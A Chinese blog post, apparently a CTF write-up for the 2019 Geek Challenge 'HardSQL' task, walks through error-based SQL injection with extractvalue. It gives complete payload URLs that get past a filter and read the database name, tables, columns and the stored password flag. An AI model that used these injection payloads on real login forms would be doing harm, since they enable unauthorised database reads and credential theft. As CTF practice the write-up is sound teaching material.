当前位置:网站首页>[极客大挑战 2019]HardSQL
[极客大挑战 2019]HardSQL
2022-08-09 16:43:00 【努力做大佬m0_68074153】
1.报错注入
sql注入首先先试一下万能密码。
再试试双写
大小写
都不行都被搬了。但是我们发现单独输入一个’会出现报错界面。
尝试使用extractvalue进行报错注入,因为这里=被搬了我们使用like来代替=。
payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(database()))))%23
成功出了库名,那么接下来就是经典组合拳了。
爆表名,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
爆列名,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
猜测password是我们要的flag信息。查询password,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
回显有限制,只出来了一半,我们可以用left,right来左右分别查看然后拼接。payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23 /check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
左右拼起来就是flag。
边栏推荐
猜你喜欢
uniapp电影购票选座系统源码
How to choose a good SaaS knowledge base tool?
Ark: Survival Evolved Open Server Port Mapping Tutorial
冷冻电镜聚类中心(2D Class)粒子图像的解析
为了高性能、超大规模的模型训练,这个组合“出道”了
BSN季度版本2022年8月31日迭代更新预告
Account opening requirements and exemptions for special futures such as crude oil
JMeter笔记6 | JMeter录制(配置代理)
Volatile:JVM 我警告你,我的人你别乱动
基于ABP和Magicodes实现Excel导出操作
随机推荐
Self-taught software testing, how far can I go out to find a job?
【Pycharm好用功能】
.NET Community Toolkit 8.0.0 版本发布
国际土壤模型协会 International Soil Modeling Consortium-ISMC
QoS - ROS2 principle 9 】 【 deadline, activity and life
【代码审计】——PHP项目类RCE及文件包含下载删除
总结篇4:redis 核心数据存储结构及核心业务模型实现应用场景
史上最全架构师知识图谱
如何仿造一个websocket请求?
如何通过 open-local 玩转容器本地存储? | 龙蜥技术
[Code Audit] - PHP project class RCE and files include download and delete
AI基础环境搭建和设置总文
消防安全培训|暑期“消防课堂”,开讲!
SkiaSharp 之 WPF 自绘 粒子花园(案例版)
开篇-开启全新的.NET现代应用开发体验
一键生成 API 文档的妙招
不安装运行时运行 .NET 程序
手写flexible.js的原理实现,我终于明白移动端多端适配
CPU占用过高问题的排查
【.NET6+Modbus】Modbus TCP协议解析、仿真环境以及基于.NET实现基础通信